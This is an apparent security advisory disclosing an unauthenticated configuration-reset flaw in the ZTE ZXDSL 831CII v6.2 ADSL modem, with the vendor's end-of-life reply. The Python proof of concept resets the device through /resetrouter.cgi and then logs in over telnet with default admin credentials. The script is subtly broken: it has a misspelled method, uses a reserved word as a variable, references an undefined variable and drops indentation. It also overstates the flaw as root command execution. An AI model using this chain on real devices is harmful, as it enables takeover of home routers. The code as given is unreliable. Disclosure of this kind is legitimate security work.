SSD Advisory – ZTE ZXDSL Configuration Reset

blogs.securiteam.com/index.php/archives/3546

Vulnerability Summary
The following advisory describes a configuration reset vulnerability found in ZTE ZXDSL 831CII version 6.2.

ZXDSL 831CII is “an ADSL access device to support multiple line modes. It supports ADSL2/ADSL2+ and is backward compatible to ADSL, even offers auto-negotiation capability for different flavors (G.dmt, T1.413 Issue 2) according to central office DSLAM’s settings (Digital Subscriber Line Access Multiplexer). It provides four 10/100Base-T Ethernet interfaces at the user end. Utilizing the high-speed ADSL connection, the ZXDSL 831CII can provide users with broadband connectivity to the Internet.”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
ZTE was informed of the vulnerability, their response was: “According to the related product team reply, the affected product 831CII V6.2 has already ended sales and is no longer maintained by ZTE in 2011.

831CII V2.0, the substitute product of 831CII V6.2, has also already been out of the service in 2015.

Right now, 831CII V2.0’s substitute product is ZXHN H108 V2.5.”

Vulnerability details
User controlled input is not sufficiently sanitized and allows unauthenticated user to send a GET request to */resetrouter.cgi* with parameter *lanRefresh=0*

Successful exploitation of this vulnerability enables a remote unauthenticated user to restart the configuration of the device.

Proof of Concept

```
# ZTE ZXDSL 831CIIV6.2 Remote Root Command Execution

import httplib
import sys
import telnetlib

#vulnerable host IP
HOST = raw_input("Enter Host: ")

#IDOR to reset modem to default config
conn = httplib.HTTPConnection(HOST)
conn.request("GET","/resetrouter.cgi?lanRefresh=0")
res = conn.geresponse()
print res.status, res.reason

user = "admin"
pass = "admin"

tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")

tn.write("whoami\n")
tn.write("exit\n")

print tn.read_all()
```